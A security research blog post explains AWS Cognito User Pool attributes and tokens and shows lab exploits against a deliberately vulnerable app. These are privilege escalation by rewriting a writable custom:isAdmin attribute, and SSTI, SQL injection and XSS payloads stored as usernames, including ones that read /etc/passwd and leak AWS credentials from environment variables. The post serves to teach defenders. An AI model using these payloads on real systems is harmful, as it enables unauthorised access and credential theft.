AWS Cognito Security — Cognito User Pool Introduction and User Attributes

Intro

In our last blog post, we introduced Amazon Cognito and described its main components. In this post, we will explore the technical details of User Pool components before moving on to examining any misconfigurations that may be easily overlooked by the developers.

This article will cover:

  • The basic concepts of Cognito User Pool such as users, attributes, primary identifiers, public/confidential app clients

  • The login flow up until Cognito tokens are received

  • Using Cognito tokens for information gathering

  • Potential mishaps with User Pool attributes

If you have a solid background in Cognito, you can skip to the “Using Cognito-issued tokens for information gathering” section.

User Pool: Basic concepts

API endpoints and action names

All User Pool API actions are exposed at the cognito-idp.REGION.amazonaws.com endpoints. API action names are passed in the X-Amz-Target header.

AWS Cloud Console screen depicting attributes for the user objects.

Users and Attributes

A user object in the directory is represented by a set of attributes. Although Cognito provides developers with standard attributes for almost any use case (e.g., address, mobile phone, email), it also allows creation of custom attributes. Such attributes have a custom: prefix, as shown in the configuration dashboard:

Attributes can be either mutable or immutable. The former can be changed by authenticated users at any time, but the latter are set when the user signs up and cannot be changed afterwards.

Some standard user attributes such as email, username, and phone number, can be used as a primary identifier (i.e., login name) during the login procedure.

App Clients

Integration with the User Pool API is done through User Pool app clients that define authentication flows, session parameters, and the read/write permissions over user attributes. There are two client configuration presets by Amazon:

  • Public app client: client used in a non-trusted environment, primarily Cognito-integrated web/mobile applications with client-side authentication (default option)

  • Confidential app client: client used by a Cognito-integrated back-end service

There is also an option to customize an app client. To keep things simple, we will focus on public User Pool clients in our examples.

AWS Cloud console showing the User Pool Groups details screen.

User pool groups

Developers can also define User Pool groups to use in application-level access control mechanisms. The permissions of an individual user in User Pool are identified by the groups the user is in because groups can be mapped to IAM roles.

Login flows

Developers may either choose one of the available Cognito authentication flows for their application or create a custom one. AWS secure remote password (SRP) auth is the default login flow for client-side apps.

You can easily recognize Cognito auth by the following headers:

  • X-Amz-Target: AWSCognitoIdentityProviderService.InitiateAuth

  • X-Amz-Target: AWSCognitoIdentityProviderService.RespondToAuthChallenge

At the end of the flow, the user is granted a set of access, ID, and refresh JWT tokens:

POST / HTTP/2
Host: cognito-idp.us-east-1.amazonaws.com
Referer: https://dmnmz2xhe63wc.cloudfront.net/
Content-Type: application/x-amz-json-1.1
X-Amz-Target: AWSCognitoIdentityProviderService.RespondToAuthChallenge
X-Amz-User-Agent: aws-amplify/0.1.x js
Content-Length: 2019
Origin: https://dmnmz2xhe63wc.cloudfront.net

{"ChallengeName":"PASSWORD_VERIFIER","ClientId":"260te4kq53jp0ei0h710n7qlnd","ChallengeResponses":{"USERNAME":"test_user","PASSWORD_CLAIM_SECRET_BLOCK":"..."},"ClientMetadata":{}}

HTTP/2 200 OK
Date: Fri, 15 Sep 2023 18:21:39 GMT
Content-Type: application/x-amz-json-1.1
Content-Length: 3966
X-Amzn-Requestid: 3ba01558-7256-4fea-9ea0-e450c8cd8a50
Access-Control-Allow-Origin: *
Access-Control-Expose-Headers: x-amzn-RequestId,x-amzn-ErrorType,x-amzn-ErrorMessage,Date

{"AuthenticationResult":{"AccessToken":"ACCESS_TOKEN","ExpiresIn":3600,"IdToken":"ID_TOKEN","RefreshToken":"REFRESH_TOKEN","TokenType":"Bearer"},"ChallengeParameters":{}}

Using Cognito-issued tokens for information gathering

Session tokens can give an attacker a lot of insight into the User Pool directory. The access token will contain a list of User Pool groups the user is a member of:

{
    "cognito:groups": [
        "group1",
        "group2"
 ],
    "token_use": "access",
    "scope": "aws.cognito.signin.user.admin",
    "iss": "https:/cognito-idp.REGION.amazonaws.com/USER_POOL_ID",
    "client_id": "abcdefghijklmnopqrstuvwxyz",
    "username": "username"
}

The ID token will provide even more information, listing not only Cognito groups, but also the defined user attributes (both custom and standard) and available IAM roles. The token includes roles attached to the user and the listed User Pool groups:

{
 "cognito:groups": [
        "group1",
        "group2"
 ],
    "iss": "https:/cognito-idp.REGION.amazonaws.com/USER_POOL_ID",
  "custom:custom_attribute": "test",
    "cognito:username": "username",
    "cognito:roles": [
        "arn:aws:iam::123456789012:role/role1",
        "arn:aws:iam::123456789012:role/role2"
 ],
    "token_use": "id",
    "email": "email@example.com"
}

The Refresh token is binary and does not contain any data useful for enumeration.

Now that we understand basic Cognito entities and flows, let’s explore how user attributes can be misconfigured.

Users can change their attributes

As we discussed earlier, user entries are sets of attributes. Attributes, either standard or developer-defined, may be mutable (changeable by the user later on) or immutable (set once during the signup process). By default, Cognito marks any custom attributes, as well as the majority of default attributes, as mutable.

To prevent total chaos and destruction, Cognito introduced another dimension of permissions. When creating an app client, developers can specify what attributes should be readable or writable by that client. However, every attribute is readable and writable by default, with the exception of some internal attributes such as email_verified, sub, and phone_number_verified.

Image depicting the read write permissions settings screen in the AWS cloud console.

So, what if developers forget to protect important attributes, say, custom:isAdmin? This is more than likely to happen if attributes are created using automation or AWS CLI that doesn’t show those default values.

Case study: editable attributes

Meet our vulnerable application. This Python Flask server correctly validates ID tokens issued by the given Cognito User Pool and looks at the isAdmin custom attribute to protect the GET / route from non-admin users.

import jwt 
import flask 
from jwt import PyJWKClient  

app = flask.Flask(name)  

aws_region = 'us-east-1' 
userpool_id = 'us-east-1_7sK8epCcM' 
userpool_client_id = '260te4kq53jp0ei0h710n7qlnd'  

jwks_url = f'https://cognito-idp.{aws_region}.amazonaws.com/{userpool_id}/.well-known/jwks.json' 
jwks_client = PyJWKClient(jwks_url)  

def admin_jwt(f):     
    def decorator(*args, **kwargs):         
    # Authorization: Bearer JWT -> JWT 
    id_token = flask.request.headers['Authorization'].split()[1]
    signing_key = jwks_client.get_signing_key_from_jwt(id_token)      
    data = jwt.decode(
        id_token,
        signing_key.key,
        algorithms=["RS256"],
        audience=userpool_client_id
    )
    
    if data['custom:isAdmin'] == 'true':
        return f(*args, **kwargs)
    
    return flask.Response(status=401)
return decorator  

@app.route('/', methods=['GET']) 
@admin_jwt def index():
    return 'hi admin!'

app.run()

Little do the developers know that the isAdmin attribute is editable by default. Let’s exploit this feature!

Exploit

After logging into the Cognito User Pool we obtain a set of tokens. We can inspect the ID token to find out what attributes we have. We notice that it contains a custom:isAdmin attribute that is set to false.

{   
    "sub": "24889478-70b1-70df-a4b7-0cfbd3db2abe",
    "cognito:groups": [
        "storage-users-group",
        "aws-cognito-bad-practice-list-users-group"
    ],
    "email_verified": false,
    "iss": "https://cognito-idp.us-east-1.amazonaws.com/us-east-1_7sK8epCcM",
    "cognito:username": "test3",
    "origin_jti": "cefdf0bd-3d34-4b3d-a0eb-068d816a6613",
    "cognito:roles": [
        "arn:aws:iam::052895923995:role/cognito-ip-octopus-storage-role",
        "arn:aws:iam::052895923995:role/aws-cognito-bad-practice-list-users-role"
    ],
    "aud": "260te4kq53jp0ei0h710n7qlnd",
    "event_id": "9d5adec2-6ed2-42da-a22a-f98c890ed850",
    "token_use": "id",
    "auth_time": 1695042776,
    "exp": 1695046376,
    "iat": 1695042776,
    "jti": "f8548125-e416-4d22-83ab-1002c1046c13",
    "email": "test3@notadeadfed.com",
    "custom:isAdmin": "false"
}

Any attempts to access the protected admin page with the above ID token fail:

GET / HTTP/1.1 
Host: 127.0.0.1:5000 
Authorization: Bearer ***ID_JWT***  

HTTP/1.1 401 UNAUTHORIZED 
Server: Werkzeug/2.3.7 Python/3.11.4 
Date: Mon, 18 Sep 2023 13:13:13 GMT 
Content-Type: text/html; charset=utf-8 
Content-Length: 0 
Connection: close

Because all custom attributes are mutable and writable by default, we can try to modify the custom:isAdmin value to true by calling the UpdateUserAttributes action. We just need to specify the attribute name and the desired value in the UserAttributes array:

POST / HTTP/2 
Host: cognito-idp.us-east-1.amazonaws.com 
Content-Type: application/x-amz-json-1.1 
X-Amz-Target: **AWSCognitoIdentityProviderService.UpdateUserAttributes** 
X-Amz-User-Agent: aws-amplify/0.1.x js 
Content-Length: 1241  

{
  "AccessToken":"***ACCESS_TOKEN***",
  "UserAttributes":[
    {
      "Name":"custom:isAdmin",
      "Value":"true"
    }
  ],
  "ClientMetadata":{}
}  

HTTP/2 200 OK 
Date: Mon, 18 Sep 2023 13:15:13 GMT 
Content-Type: application/x-amz-json-1.1 
Content-Length: 2 
X-Amzn-Requestid: 0272ea97-0305-4785-97f2-d2395b55ac33 
Access-Control-Allow-Origin: * 
Access-Control-Expose-Headers: x-amzn-RequestId,x-amzn-ErrorType,x-amzn-ErrorMessage,Date  

{}

As we can see from the returned HTTP 200, the request has succeeded. Upon next login to the User Pool, we will see that the custom:isAdmin attribute is set to true.

{   
  "email": "test3@notadeadfed.com",
  ...   
  "custom:isAdmin": "true" 
}

Thus, we can easily bypass the protection on the admin page.

GET / HTTP/1.1 
Host: 127.0.0.1:5000 
Authorization: Bearer ***ID_JWT***  

HTTP/1.1 200 OK 
Server: Werkzeug/2.3.7 Python/3.11.4 
Date: Mon, 18 Sep 2023 13:15:53 GMT 
Content-Type: text/html; charset=utf-8 
Content-Length: 9 
Connection: close  

hi admin!

User data is not sanitized by Amazon Cognito

Despite a common misconception that data from cloud services is validated enough to be considered trusted, we found that Cognito implements only very basic constraints on user input. Thus, User Pool attributes can effectively be used as sources for second-order injection attacks on the developer software that processes the Cognito data.

User input can be validated using the following criteria:

  1. Field type (number/string)

  2. Length

Primary Cognito attributes such as email or phone also use regex validation, but this feature is not available for custom attributes. Instead, custom attributes can be validated by a Lambda or the back-end app.

For example, the username is a default Amazon Cognito attribute conforming to the following regular expression: [\p{L}\p{M}\p{S}\p{N}\p{P}+]. This regex matches any character sequence without whitespaces. Thus, the following strings are valid Cognito usernames:

  • {{request.application.__globals__.builtins__.import__('os').popen('cat\x20/etc/passwd').read()}}

  • a'/**/UNION/**/SELECT/**/table_name/,NULL,NULL/**/FROM/**/infromation_schema.tables/**/--/**/-

  • <script>alert('I\40Love\40Amazon\40Cognito')</script>

Case study: over-reliance on Cognito-powered validation

The Octopus Storage app has an attack vector that requires an attacker to exploit an SSTI vulnerability in the admin panel to leak privileged credentials from the application.

Image depicting the user registration form for the vulnerable Octopus Storage application.

Generally, SSTI hunting involves looking for places where the payload is displayed within the application and confirming that it is indeed rendered on the server side. The only place within the Octopus Storage project where the username attribute is reflected is the user info page in the admin app. Luckily for us, the admin web application depends on a vulnerable version of Python Flask, and retrieves user attributes via a server-side authentication flow:

Image depicting the result of exploiting the server side template injection vulnerability within the Octopus Storage application.

By using the following SSTI payload, we are able to expose the environment variables:

{{request.application.__globals__.builtins__.import__('os').environ}}

The variables include AWS credentials to the Octopus Storage service account:

Now the attacker has all permissions that were assigned to the web server, which will definitely be useful for post-exploitation.

Properly preventing injections

As we have already mentioned, Cognito user attributes can be validated by a pre-signup lambda trigger. Cognito also allows AWS Web Application Firewall (WAF) to be enabled for the User Pool API as an added layer of security over the application. Of course, you should not rely only on the WAF to protect your API.

Summary

In this article, we familiarized ourselves with essential components of AWS User Pools, learned how to extract useful information from the session tokens, and demonstrated common attack vectors on the user attributes.

User attributes may prove to be a solid starting point for common injection-based attacks as well as any loopholes in the custom authorization logic written by the developers. Remember the golden rule: NEVER trust any user input!

In the next blog entry, we will discuss another misconfiguration of User Pools that might allow to unauthorized access to your services.

Security Services

Looking for someone to check your AWS Cognito configuration? We are always happy to assist you in reviewing the existing infrastructure or work with developers to establish a secure SDLC for your products.

Credits

Research prepared by:

Next
Next

AWS Cognito Security — Overview